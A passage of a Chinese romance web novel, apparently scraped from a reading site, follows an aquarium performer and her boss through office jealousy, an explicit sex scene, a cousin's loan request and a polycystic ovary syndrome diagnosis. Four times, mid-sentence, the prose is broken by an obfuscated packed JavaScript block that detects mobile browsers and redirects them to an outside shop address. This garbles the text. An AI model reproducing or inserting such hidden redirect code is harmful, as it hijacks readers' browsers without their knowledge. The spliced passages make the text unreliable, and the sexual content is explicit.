景音不知道哪里又得罪他了。两人又聊了一会儿,景音才想起裴涟还在洗澡,就挂了电话。 洗漱了一番,临睡觉前,景音想起一件事。 她出了房间,看见隔壁卧室的门缝透出一点光亮。 景音轻轻敲了敲门:“晏霖,睡了吗?” 许晏霖给她开了门。 “怎么了?”她表情有些疲累。 “我是公司股东这件事,能不能帮我保密。”景音有点难为情,“我不想让别人知道。” “那你干嘛要告诉我。” “……” 这话倒是把景音问住了。 “我是——” “怕我看到你和裴涟在一起会伤心?”许晏霖轻笑了声,“你们在一起了吗?” “……没有。” “那,上床了?” “……” 在海洋馆时,许晏霖一直很听她的话,以至于景音都忘了她原本是个留学回来的富家女孩,心高气傲的同时又很开放。 相比于她的直白,反而显得景音有点扭捏。 “上了也没事,你们还没在一起,我也不是完全没机会啊。”许晏霖皱眉笑了笑,“而且,是你的话也没那么难受。” “其实我刚来的时候挺不喜欢你的。以前觉得你特装,可能也是不服气吧,我和裴涟从小认识,凭什么他落水的时候第一个跳下去的是你,而我却犹豫了。现在我才发现你不是装,你是真的脑筋直。” 景音想起高中毕业时,裴涟从渡轮上落水前,曾有个女生拦住了她。 那个人,是许晏霖? 她难为情地开口:“你这是夸我,还是损我呢。” “都有吧。”许晏霖倚在门框上,“你不用觉得不好意思,本来他也不喜欢我。我在家呆着无聊,听说裴涟来这了就想来撩撩他,万一睡到了呢。但现在觉得这里也挺有意思的,我小时候最喜欢爱丽儿,这个工作每天挺开心的。” 她的语气瞬间让景音想起了闻泰的那帮女同学。裴涟好像只是她们展现优点的道具,得到了说明自己足够有魅力,得不到的话,照样有别的方法证明自己。 想明白这一点,景音有些释然。 她能看出许晏霖有点嘴硬。她没戳穿,只是遵循最礼貌的社交方式,浅浅笑了笑。 “你开心就好。那,我不打扰你休息了。” 景音转身回了房间,许晏霖也关上了门。 心里的压力减轻大半,但当景音入睡时,还是觉得隐隐不安。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151023|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>- 第二天上班时,景音跟两个同事定了一下轮休的排班日,自己的休息时间定在了27号,一天后。 确定好后,她就把这个日期告诉了裴涟。 昨晚和裴涟聊完天才知道,裴涟现在是研究生延毕一年回国,好像是家里出了什么情况。 具体什么事他却不肯说。 景音试着去搜了一下环宇集团的新闻,也并没发现什么异常。 她坦承向裴涟说明自己今年下半年要辞职准备考研。她本科时的动物保护专业本就人少,每个学生都很被重视。她决定考研也是老师打了几通电话说服的。 “那时候我也要回去上学。”裴涟答她,“我们可以连线一起学习。” 景音原本心里想,不知道那时候还会不会和裴涟保持现在这样的联系。 听他这么说,悲观的念头似乎被驱散了。 但想到半年后就要跟裴涟分开一阵子,她心里还是很不舍。明明没在一起,但自己好像已经把他当成了男朋友。 她将调休日期发出去后,裴涟很快回复“好”。看着他的头像,景音认真思考,到底要不要和裴涟在一起。 心理上的认同,和名义上的认同,对她来说区别很大。 比如,她可以接受自己光明正大去行政楼下等裴涟下班。 如果裴涟真的是她男朋友,她便能无惧同事暧昧的目光和调侃。 手机弹出条提醒,打断她的思路。 吃药的时间到了。景音轻叹气,拿出药盒乖乖吃药。 昨天和裴涟聊过之后,景音决定稍微经营一下自己的短视频账号。虽然她不清楚会得到什么,但她上条动态底下的粉丝已经催了好久了。 景音拜托许晏霖帮她录了段表演的视频,又结合了一下别的照片,剪成段vlog发到了网上。 点赞和评论顿时增长。景音这会儿正好有空,便一条一条地看着评论。 她突然看见有人问:你们海洋馆里有没有海豚表演?放假了想带孩子去。 景音想要回复,却又犹豫着关掉了。有什么在她脑海中闪过,她突然想起裴涟说过的话: 你可以去做一些只有你能做的事。 她坐在办公室的椅子上,却感觉自己浑身轻飘飘地腾空。 景音点开自己的私信,之前自媒体公司发来的消息她都已一一回拒,现在消失在了消息列表里。 她开始在大脑里搜索,好像只能想到一个人。 景音又点开裴涟的头像。 -「你认不认识做自媒体公司的朋友?」 L:「你朋友方小芸之前在A市很有名的自媒体公司。我听说她辞职回来后想单干,你问问她。」 获得这条情报,景音又着急去联系方小芸。 方小芸说她确实打算开个自媒体公司,不过最近很忙,后天有空可以详谈。 后天,也就是27号…… 景音默默给裴涟发消息:「27号那天,我可能要去找一下方小芸。」 裴涟没回复。景音思忖着裴涟会不会不高兴,如果他不高兴了,她还要去找方小芸吗? 大概十分钟过去了,余夏的手机闹钟响了。这代表着下班时间到。 手机还没收到回复。景音轻叹了声,穿上大衣准备去餐厅吃饭。 余夏最先站起身,正和许晏霖开着玩笑。景音听见他声音突然卡了壳。 她转过身,看见裴涟正倚在他们办公室的门上,视线淡淡凝着她。 47. 擦桌子 最靠近门的余夏最先反应过来:“裴老板!稀客啊,来这干嘛?” 裴涟的视线依旧锁着景音。 “有人要抢走我的时间,我提前补回来。” 语气又散又缓,好像只是在回答今天星期几。 共同拥有别人不知道的秘密时,就像在阳光下用双手捧着一把水。此刻,景音觉得这捧水正被裴涟交接倒在自己手心,眼看着就要全漏掉了。 慌乱伴杂着心虚,使得景音清了清嗓。 “裴总来了啊……中午一起吃饭?” 裴涟挑了挑眼尾,沉默得让她害怕。 余夏很嫌弃:“三句话问不出来一个屁,我老师跟你说话呢,没听见啊。” 此时此刻,景音真的感谢余夏吸引火力。 裴涟站直身体,瞪了余夏一眼。 余夏只支愣了那么一句,被他一瞪,又怂了。 “对啊,吃饭。”他拖着尾音,“景老师,加我一个呗。” 景音匆匆瞥了许晏霖一眼。 许晏霖在盯着裴涟,神色意味不明。 “行。”景音破罐子破摔,“那就一起。” 去餐厅的路很漫长。 他们要先从剧场出来,穿过一条长长的海底隧道,期间路过饲养部、水母馆,走到陆地生物区,然后经过主展馆的后门,走到行政楼斜对面的海洋餐厅。 嗯,基本把海洋馆从东走到西,所有员工见了个遍。 到了餐厅,景音找了个四人座。 很快弊端就出现了。当晚来的谢薇兴致冲冲来找买饭的景音时,景音很遗憾地说他们那一桌满了。 “满了?”谢薇惊讶,“不就多了一个小许吗,还有谁?” 景音偷偷用手指指前面站着的裴涟。 谢薇懵逼:“怎么裴总也和你们一起吃饭。” “……他,在调研剧场的事情,有事要跟我们商量。” 谢薇深信不疑,同情地拍拍景音的肩膀,扭头撒丫子去找别的同事了。 “调研。” 景音抬起头,正对上裴涟含着凉意的眼。 “原来我在做调研。”他淡淡地笑,“我怎么不知道。” 景音心虚地小声嘟囔:“那我该怎么说嘛……” 裴涟凉凉笑了笑,转身回了座位。景音默默跟着,倍感头疼。 这两天她感觉自己不经意间惹到他很多次。她感觉到裴涟隐隐地不高兴,但碍于上班限制,她又没法施展拳脚去哄。 两人坐在了同一边,余夏和许晏霖也回来了。 余夏边吃饭边看搞笑视频,时不时发出一点憋不住的笑声。和他一对比,则显得另外三人诡异地安静。 不过,裴涟的安静,是从容的。 景音不知道许晏霖是什么心情,反正她自己,在怀疑人生。 她刚才为什么要提出带裴涟一起吃饭? 周围的员工看见他们的组合,无不施行几秒注目礼。景音选择闷头吃,像开了二倍速一样挥舞筷子,希望赶快结束这顿用餐。 盘中突然伸进来一只鸡腿。 景音抬头,见裴涟温然看着自己。 “你今天脸色好差。”他声音充满关心,“补补身体。” “……” 景音费劲咽下嘴里满满的一口菜:“……谢谢裴总。” 裴涟的双眸射出寒光。 景音匆匆断开和他的对视,看见对面许晏霖略有不甘地看着她的鸡腿。 她慌了神,忙把盘子里的虾仁夹给许晏霖:“来,多吃点虾。” 为了秉承一视同仁的态度,顺手也给余夏夹了两个。 余夏根本没看见,还盯着手机傻乐。 许晏霖却突然活过来了,碰了碰余夏的胳膊:“喂,景老师给你夹菜。” “哦,谢谢!” 余夏一口把虾仁塞进嘴里:“景老师,你对我真好,我好感动哦。” 他一脸崇拜的样子,声音也谄媚无比,听得景音鸡皮疙瘩掉一地。 “……不客气。”她答。 裴涟瞪着她。 景音不明所以,用眼神发了个问号。 几秒钟后,裴涟看她的没有进一步的动作,轻啧一声,毫不掩饰自己的不满。 景音才懂,原来他也想要自己给他夹菜。 可是碗里的虾仁已经没了…… 景音把鸡腿还给他:“裴总,我吃饱了,你还是自己补补吧。” 然后露出一个善解人意的微笑。 对面的许晏霖轻笑了声。 裴涟看着碗里的鸡腿,表情似乎很有深意。 他干脆站了起来。 “既然吃饱了,你跟我走一趟,有点事要交代你。”他睨着她。 “……什么事。” 景音敏感察觉到他的低气压,莫名地缩了缩脖子。 “公事。” 裴涟声音比刚才要严肃得多,转身就向外走,好像毫不在乎景音会不会跟上。 这副老板派头十足的样子让景音心中一紧,真的开始思考裴涟找她到底有什么事。 难道,他大中午来找自己,真的是有什么要紧的公事,却意外被她抓来吃饭了? ……是不是,那几个股东又提了新的要求。 景音匆忙跟上他的身影,面色也不自觉绷紧。出了餐厅,对面就是行政楼,裴涟头也不回地在前面走,景音小跑两步才跟上他。 一前一后,倒真像下属跟着领导。 进行政楼时,正好遇到一个财务部的同事,他跟他们打了声招呼。 许是她和裴涟此时更像上下属,关系名正言顺,景音大大方方点了点头。 然而那同事紧接着来了一句:“裴总,带女朋友去休息啊。” 裴涟回头看了她一眼。 “不是女朋友。”他声音淡淡的,“工作上的事找她。” “哈哈,开个玩笑。”同事挥手向外走,“拜拜裴总。” 景音心里有点不知名的情绪翻涌。 她记得上次出差时,裴涟还跟南洋湾的工作人员说她是他女朋友,虽然当时演戏的成分更多。 进了裴涟办公室,闻到熟悉的香气,她又想起第一次来时,裴涟逗她说香水是他女朋友同款。 景音原地发愣,她恍然发现自己居然在期待裴涟不要那么避嫌。 可他方才的举动才是她想要的,不是么。 裴涟脱掉大衣,挂在衣帽架上。他直径坐在了电脑前,招呼景音:“过来。” 景音听话地走了过去,站在桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14174961|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前。 裴涟在电脑上点了几下,好像在找什么文件。清俊的侧脸严肃到有丝不耐,不多时,他扬眉挑她一眼,挪了挪位置。 “到这来看。” 冷淡的眼不含情绪。景音情不自禁有点慌。 她绕到桌后面,突然被裴涟拉着坐在他腿上。 景音心跳漏了一拍,只来得及看一眼电脑上的画面—— 扫雷。 细嫩的脖子被男人的长指捏着,似乎稍微使劲就能掐出鲜红的印子。裴涟从后面握上她的下巴,迫使她抬头同他接吻。 这姿势让景音从未有过的窒息。 她半眯着眼,肺里的空气全被裴涟侵占。他恶劣地紧了紧牙齿,景音舌尖顿时疼痛无比。 “我要是等不到27号了……你会生气吗。” 景音好不容易得以喘息两口,又被他继续紧紧缠绕。 “不行。”她费了好大力气才推开他,“……时间不够。” “我的话,是不够。” “但是你可以。” 景音被他放在了办公桌上。门被锁上了,室内很暖和,她身上是潜水后沐浴后的清香。 裴涟轻轻嗅了嗅她的颈窝:“每天洗这么多遍,皮肤会不会难受。” “不会,但是……” 剩下的话她说不出来了。 细碎的快感淹没她的理智。 裴涟果然没让她花太久的时间。她捂住嘴迫使自己不要发出声音时,他用另一只空闲的手拉下她的手掌,清亮的眼紧盯她紧咬的唇。 唇上朱红的艳色好像刺激到他的什么神经。他没放过她,紧接着重复了上次她对他做过的事。 景音想躲开,但力气立刻被一丝一丝地抽空。桌上的文件被她胡乱推掉在地面,她的视角,正好能将一切的荒唐尽收眼底。 裴涟偶尔看向她的占有欲极强的眼神,将她的理智啃食殆尽。 她声音软得发抖:“不要了……” “怎么又不说实话。” “不是!”景音抓住他的胳膊,“桌子……会脏的。” 最后,裴涟还是用掉几张湿巾,才擦净桌上的沥下的水珠。 景音坐在沙发上,心里仍震惊他们方才的妄为。 她可能以后都没办法直视他的办公桌了。 还有半个小时才到上班时间。裴涟走过来坐在她旁边,将她环在怀里,下巴搭在她的肩窝。 景音摸摸他的头发:“……累吗?” “累?”他轻声笑笑,“你要不要看看,你才坚持了多久。” “……” 景音涨红了脸。 “你能别那么在乎许晏霖吗。”他声音有点蔫蔫的,“我居然在吃你情敌的醋,真是奇怪。” 景音柔下声音:“她是我徒弟,我不想伤害她。” “你不可能把一件事做到完美。鱼与熊掌不可兼得。” 景音明白这个道理,幽幽叹了口气。 她想起昨晚许晏霖的态度。 她当然不会奢求得到许晏霖的祝福,她只希望许晏霖不会难过太久。 想了会儿,景音才发现,她已经代入了她和裴涟在一起的情况了。 她踌躇着开了口:“后天,能不能再陪我去一趟医院?” 48. 停不下来笑 裴涟怔了一下,很快明白景音的目的。 他握住她的手,声音极为轻缓。 “好。我陪你,不用怕。” 两人又相拥着坐了会儿,景音表示要回剧场了。 裴涟非要把她送回去。 景音觉得好笑:“就在馆里,有什么好送的。” “下午有工人来重刷墙漆,我得去看一眼。” 明明这种事,交给她或余夏就好。 裴涟轻皱着眉看着她,神情像是写着委屈。景音拒绝的话吞回了嘴里,于是放任他跟着,两人一起回了海洋剧场。 现在还没到上班时间。剧场尚未开放,景音远远看见门口有几名游客被拦在了外面。 于是她转头同裴涟说:“最近我这客流量比较大,要不然别等年后了,这两天就把剧场免费开放了吧。” 裴涟思考了一下,点头同意。 门口的游客看到张贴海报上的表演时间,逐渐离开了。景音他们到达门口时,只剩一名穿着卡其色大衣的女游客。 两人推开检票口处的员工通道,正向里走,忽然听见一声招呼: “小音!” 景音回过头,认出那游客的脸后,惊讶神色溢于言表。 “姐?”她退出检票口,“你怎么来了。” 景钟宁笑脸盈盈,冲景音打招呼。 “我从网上刷到你,想起我们好久都没见了。”她拍着景音的手。 景钟宁是景音的一个远房堂姐,景绍良突然去世的那段时间,景音曾短暂地和她家接触过。 她突然出现在这里,让景音有点不知所措,因为她们已经很久没联系了。 景音回头看了眼裴涟,他站在室内,神情有些肃穆。 “你先进去吧。”她冲他摆摆手。 裴涟点头,转身走了。 景钟宁打量着裴涟的背影,似是好奇地问:“他是谁啊。” “是我老板。” “哦……” 有工人拎着漆桶路过她们。景音看了眼时间,已经上班了。 她的工作很自由,但上班时间还在外面溜达,显得不太好看。 景钟宁闪身,给工人让出路。她问景音:“你现在有空吗?我们聊一下吧。” “行。进来坐下说吧。” 景音带景钟宁进了剧场,坐在第一排的位置上。 她很少坐在观众席。看着透明墙内的鱼群,和平时是截然不同的视角。景音突然有种不真实感,像是才反应过来平时自己才是被关在里面的那一个。 景钟宁坐在她旁边,捏了捏衣角,有点生分。 “小音。”她开了口,“你最近,过得挺好的吧?” “嗯。” 她也看着鱼缸里的鱼:“其实我今天来,是想找你商量点事。” 景音看向她:“姐,你直说就行。” 景钟宁大她七岁,才三十出头的年纪,看上去竟比以前憔悴了许多,眼角已经爬上了细纹。 景音不会将景绍良的所作所为怪罪到她身上去。甚至,景钟宁是以前唯一一个对她表现出善意的家人。 虽然那善意来得晚了点,是在她继承了景绍良的财产之后。 “那我就开门见山了。”景钟宁开口,“我妈最近心脏出了点问题,你也知道我家的情况……” 听完她的叙述,景音知道了景钟宁的母亲需要做心脏搭桥手术。但他们家还欠着贷款,实在没有多余的救命钱。 “大概需要多少钱?”景音问。 “保守估计,也要十万吧……” 景钟宁说完,就开始抹眼泪。 景音见不得别人在她面前哭。 从景绍良那里继承的钱,一部分投进了珍珠岛,剩下的大多存进了银行定期存款。 她对景绍良的钱没什么占有欲。 非要说的话,甚至有些抵触。 所以,除了投在了珍珠岛上,日常开销都用的自己赚的钱。剩下手头上备用的钱还够借给景钟宁一家,而她自己的存款,倒也够她生存。 景音拍拍擦眼泪的景钟宁:“这个钱我借给你们。” 景钟宁抬起头,泪眼朦胧。 景音:“你给我留个银行卡号,网银有限额,下午下了班我去银行转账。” “真的?” “当然是真的。” 景钟宁擦干眼泪,声音仍断断续续:“……还好有你。” “没事的。”景音安慰她,“我手机号没换,你发给我就行。” 景钟宁给她发来一串数字,刚来时的消沉模样已经从她脸上散去。 景音将卡号保存,才抬头看向景钟宁:“我还要上班,姐,你先回去吧。” 景钟宁看起来欲言又止。 “小音,你最近……还挺好的吧?”她突然问。 景音觉得怪异,同样的话,她在刚才已经问过一次了。 然而她很快反应过来,景钟宁这次问的是她的心理情况。 说起来,她之所以会去看心理医生,也是因为当初景钟宁提醒她,她和常人不太一样,应该找医生看看。 景钟宁是为数不多知道她有心理疾病的人。 景音淡然笑笑:“你看呢。” “……我看你比以前开朗多了。” “嗯,前阵子我去复查,医生也说我现在和正常人没区别。” “那就好。”她点点头,“那你有没有……” 话说到一半,她又止住了。 景音不解地望着她,然后看她摆了摆手。 “没事,我想错了,那我就不打扰你上班了。 “嗯。” 景钟宁这才跟她道别出了剧场。 景音也站了起来,向四周看了看。周围只有刷墙的工人在工作,裴涟不知道去了哪。 她上楼回了办公室,发现许晏霖和余夏也不在。 景音猜,许晏霖大概去了白鲸馆喂小猪。而余夏每次都会迟到一会儿,现下不知道又去了哪里。 果然没过多久,许晏霖带着一身鱼腥味回来了。 “辛苦了。”景音跟她打招呼,“小猪吃得怎么样?” 许晏霖摇摇头:“剩了一半。” 小猪的饭量越来越少,这让他们都很担忧。 景音之前同许晏霖说过她想放生小猪的事。正好聊到这里,景音拍拍旁边的座位,示意许晏霖坐她旁边。 许晏霖却绕回对面自己的工位上。 景音毫未察觉:“我联系过一个动保组织,他们说可以帮我们把小猪先送去野化训练基地疗养,至少那里有些同伴,你觉得怎么样。” 许晏霖回避着她的视线。 她沉思了一下才开口:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14195879|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是小猪发现自己认识的伙伴逐渐消失,会不会更沮丧?” “我也想过这个问题。如果送去了,小猪就不能再回来,不然心理问题会更严重。疗养的经费倒是不难解决,就怕到最后也没法放生它。但这已经是我目前想到对它最负责的做法了。” 许晏霖轻叹口气,点了点头。 景音没再犹豫,给王馆长和裴涟都发了消息,说了自己对小猪的打算。 裴涟最先回复她:「出来一下。」 景音不疑有他,走出了办公室。刚拐进楼梯拐角,就撞进一个怀抱。 裴涟把她紧搂在怀里。 淡淡的香气充斥她的鼻腔。景音摸摸他的背问:“怎么了?” 裴涟松开她,却仍把她圈在怀里。她敏锐地觉察裴涟的情绪有些不对。 他的眼眶有些憋红。 景音蓦地心慌起来。然而裴涟很快恢复了正常。 “没事。”他细细端详着她,“突然很想抱抱你。” 仿佛刚才只是景音的错觉。 景音压下心里的不安,伸长胳膊摸了摸他的头发。 裴涟的发丝柔软,手感很好。他抵着她的手心,目光也渐渐放松。 “你刚才干什么去了?”景音问。 “……”裴涟微顿,“我去找设备部的人,告诉他们下午来拆检票闸口。” “今天就拆?” “嗯,下午表演结束就拆。” 想到明天剧场就会免费开放,景音不免有点激动。 “那明天……” 剩下的话,被裴涟堵回了嘴里。他低头轻吻在她的嘴角,无比小心翼翼,好像下一秒她就会碎在手心。 前几次裴涟的吻都汹涌而蛮横。现下轻柔的态度,让她大脑一阵阵地眩晕,好像被他双手捧上云端。 “咳……” 楼下传来一声轻咳。 两人忙分开,看见余夏正面带微笑地看着他们。 景音小心地往他身后看了看。 “放心,没别人发现。”他洋溢着笑容,“我给你俩当爱情保安呢。” 景音红了脸,尴尬地不知道说什么。 裴涟睨了余夏一眼,才对景音说:“我走了,你回去上班吧。” “好。” 余夏笑嘻嘻上了楼,冲正在下楼的裴涟挥挥手。 他跟上景音的步伐,讲八卦似的压低了声音:“我要告状。” 景音:“?” 余夏:“刚才我坐外面玩的时候,可是远远看见裴老板跟一个女人讲话。” 景音仍然很羞臊:“这种事情不用告诉我。” “是吗?”余夏挠挠下巴,“可是我感觉裴老板的神情很不对劲呢。不止我看见了,许晏霖也看见了,还跟在他们后面偷听了一阵子。” 他声音压的很低,几乎是耳语。 景音觉得莫名,皱起了眉。 她心中突然浮现一个想法。 她做出满不在乎的样子问了句:“和裴涟说话那个女人,长什么样啊。” “挺漂亮的啊,后来还从我旁边走过去了呢。”余夏在回忆,“穿了件卡其色的大衣,都起球了,但是看着好像心情很好的样子,一直在停不下来地笑,怪瘆人的。” 景音:“……” 这个描述的人,她今天也见过,是景钟宁。 49. 检查 景音无端想起,方才裴涟发红的眼眶。 楼梯那边光线比较暗,景音还以为是自己眼花。现在一想,会是景钟宁说了什么,导致裴涟出现那种反应吗? 景音在心里设想了一下这两人会聊什么。在她眼里,没有任何线索能把裴涟和她的堂姐联系起来,能让他俩人能聊起来的事情,似乎只有一个。 那就是景音。 “他们聊了多久。”她问余夏。 “没多久,就……半分钟吧。” 他以为景音真的在误会,忙又解释:“也就是打了个招呼,说了两句话,其实也算不上聊天。” 景音稍作思索,只能想到大概是景钟宁拜托身为老板的裴涟多多照顾她的堂妹。 除此之外,她也想不到其他的了。 这属于再正常不过的社交范围,景音舒了口气,口头敲打余夏:“你那语气,我还以为发生什么事了。” “呵呵,看不出来,景老师你还挺在乎裴老板的嘛……”余夏揶揄她。 景音示意他住嘴,因为两人已经要迈进办公室。 既已决定做自媒体博主,景音便开始研究起自己的账号来。 方小芸简单交代过她两句,让她每天都要发视频。她目前能做的,就是积累视频素材。 于是下午表演完后,景音拿着手机下楼,准备录像见证检票口被拆这一历史性的时刻。 到了一楼,她发现还有几个拎着颜料桶的年轻人,正在墙边的地上铺防尘膜。 裴涟已经站在剧场里。 景音凑过去问他:“这是要在墙上画画吗?” “嗯。我找了家绘画工作室,他们都是美院毕业的学生。” 裴涟给她看了设计图,设计思路是深海海底,不止有图案,还会粘贴一些墙面装饰,效果很立体。 如果真的能一比一画出来的话,也许真的会带给观众在水底的身临其境感。 原本剧场的墙壁只是普通的深蓝色。这一改动是景音从未想过的,她连连夸赞裴涟有创意。 裴涟浅浅笑了笑。 “今天画墙壁,明天再完成地面的部分。座椅也会更换,新的过几天就到。” 景音对他竖起大拇指,掏出手机开始录像。 等她录完一圈回来,发现裴涟又没了踪影。 他好像总是很忙。 晚上,当景音躺在床上时,才又收到了他的消息。 珍珠岛的宣传片做出来了,会在季城的各个广告点投放。裴涟发来一个视频,让她提前验收一下。 景音在南海市海边拍的素材被剪进去几秒,夹杂在其他员工穿着工服的笑脸中。 她表示很满意。 聊完这件事,那边就没了动静。景音控制不住自己隔一阵就看一眼手机,然而一晚上,裴涟也没再发来消息。 她不知道裴涟是怎么想的,反正到了次日,她觉得时间过得飞快。 裴涟中午没再来找她吃饭。景音觉得才上班不久就到了下午下班时间,好像被谁施了魔法,中间的工作都被她跳过了。 终于到了她的休息日。 景音已经提前和裴涟商量过上午去医院。她起了个早,冲澡加洗漱一气呵成,对着镜子画了个精致的妆,确保自己闻起来香香的。 因为今天要做检查,所以她要很早出门。当收到裴涟的电话时,甚至还没到平时的上班时间。 清润的嗓音从电话那头传来:“我到了。” 景音:“好。” 她莫名有些紧张。许晏霖卧室传出起床的声音,她便不再耽搁,忙出了门。 裴涟按她要求把车停在了马路边。景音从小区里走出来,一眼看见了他的车,在早晨的雾气下显得湿漉漉的。 今天的裴涟看起来比平时还要耀眼一些。他开车时,景音总克制不住偷偷看他。 矜冷的侧脸,淡漠的眼,每个轮廓线条都让她很想触碰。 裴涟好像没注意到她的视线。车里有他提前准备好的早餐,景音边啃面包,边面颊发热。 到了医院停下车后,这次两人一起下了车。 景音仍挂了上次妇科医生的号。从医生那里拿了检查单后,需要他们去另一楼层做超声检查。 即便是这么早,医院仍然人满为患,尤其是两人从妇科出来后,看到同楼层的产科等候区已经坐满了人。 景音拿着检查单,和裴涟一起等电梯。 电梯门开后,她看见一个熟面孔,是她长久以来的心理主治医生——裴雯。 “裴医生?”她有些惊喜,“你回来了。” 裴雯稍愣。 景音进了电梯,发现裴涟还站在外面没动。电梯里还有其他人,她忙把他拉进来。 裴雯犹疑着小声开了口:“小景,这就是……” 景音点点头,刚要回答,突然听见旁边传来一声: “姑。” 她下意识抬头看裴涟。 景音:“咕?” 裴涟:“……” 电梯叮的一声,停在超声检查科的楼层。景音拉着裴涟出了电梯,冲裴雯摆摆手:“裴医生,今天我就不去找你了,下次见。” 裴雯正偏着头,似乎在看楼层提示。听见她的话,笑着冲她点点头。 景音拿着检查单去取号,才回到等候区坐下,终于获得片刻休息。 裴涟坐在她旁边,眼神半耷着,不知在想什么。 “没事。”景音安慰他,“只是一个超声检查,不会疼的。” 裴涟抬头看她,神情古怪,好像颇为无可奈何。 “景音,刚才那个裴医生,是我姑姑。”他小声开口。 景音:“……” 景音:“是谁?” “我小姑。”裴涟声音五味杂陈,“我爸爸的亲妹妹。” 景音呆愣在了座位上。 这些年,裴雯就是她的树洞兼疗养所,她对裴雯有多信赖,就将自己的情况说得有多么详细。 其中,包括但不限于关于裴涟的事。 裴雯几乎知道她的一切,在只言片语中,她能串起两人认识的所有经过,并且早已把裴涟定义成她病情的转折点。 那个转折点,居然是自己侄子…… 景音觉得,无论是她自己,还是代入裴雯,此时此刻应该都挺崩溃。 自己侄子居然一直在追一个心理有问题的人,而自己还一直怂恿她答应。 裴涟好像看穿了她的心理活动,边牵住她的手边说:“没事,我了解她,她不会因为我而对你有什么想法。” “……你怎么知道?” “我们出电梯的时候,她在看楼层信息。”裴涟娓娓道来,“她看见我们从妇产科上楼,又从超声检查科下楼,如果我没猜错的话,她可能以为我把你肚子搞大了。” “……” “所以,她要有什么意见,也是对我。” “你的话还真有安慰性。”景音捂住脸,“我一直以为,你俩的姓只是巧合。” 两人没来得及说更多,排队的号码就叫到了景音。 景音同裴涟道别,独自进了检查室。 检查结果当场就出了。景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14214664|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音接过检查报告,看着上面的信息。 她这几天自己在网上搜了多囊综合征的确诊信息,现在看到自己的报告,她心底一沉。 景音缓步走出检查室。裴涟已经站了起来,正在门口等她。 看见她的神情,裴涟迎过来牵她的手。 “是不是还要去抽血。”裴涟问,“走。” 景音握着他的手,仿佛找回点信心。两人又去抽了血,最后拿着所有检查单回到了妇科。 这次,终于得到了医生的确诊:她确实患有多囊卵巢综合征。 有了之前的猜测和上次的问诊做心理基础,景音心灰意冷地接受了这一事实。 同时,医生也告诉她,这种病通常没法完全治愈,她现在需要治疗的症状,就只有吃药调节月经周期。 从诊室出来后,景音说不上自己的心情是好是坏。一方面她终于搞清了自己身体的毛病,另一方面,她又觉得心事重重。 在看到裴涟后,这种心事又升华为愧疚感。 裴涟依然来牵她的手。 他好像对她的检查结果不感兴趣,主动问她中午想吃什么。 景音有一搭没一搭地回着,直到两人取完药回到车上,她才向他坦白了诊断结果。 裴涟发动车子,轻轻“哦”了一声。 景音拿不住他的态度,加上心情不好,便也一路沉默着。 车子穿过闹市区,景音发现这好像是他们来时的路。 “去哪吃饭?”她终于开口问了一句。 “不去吃饭。” “?” “回家,我给你做。” 比起去餐厅吃饭,景音倒还真更想尝尝裴涟的厨艺。她没反驳,任裴涟把车子开回了他家。 车子停在车库,景音要拉开车门下车。 她拉了拉把手,纹丝不动。 “等下再走。”裴涟看着她,“我们谈谈。” 有什么话非要在车里谈? 景音不明所以,嗯了声。 裴涟已经将车熄了火。车子稳稳停在车库,周围安静地没有一丝声音。 他越是不说话,景音就越忐忑。 她记得,裴涟说过一些并不在乎她有没有生育能力之类的话。 但那是在她确诊之前。 “想不想”和“能不能”的差距非常大。在生育这一点上,景音觉得尤其更甚。 “我得向你坦白一件事。”裴涟突然低声说,“我调查过你的病。” 景音皱皱眉:“我知道。” “我说的是心理方面的。” 景音挑了挑眼眸。 “我们出差时,趁你不在酒店的一段时间,我找张桐做过心理咨询。我知道了应该怎么和你相处才是正确的。” 这番话她完全没想到。 在南海市时,她还没挂过张桐的号。她不清楚这俩人当时是怎么商量并得出结论的,因为很多心理活动得需要她自己描述出来才能确定。 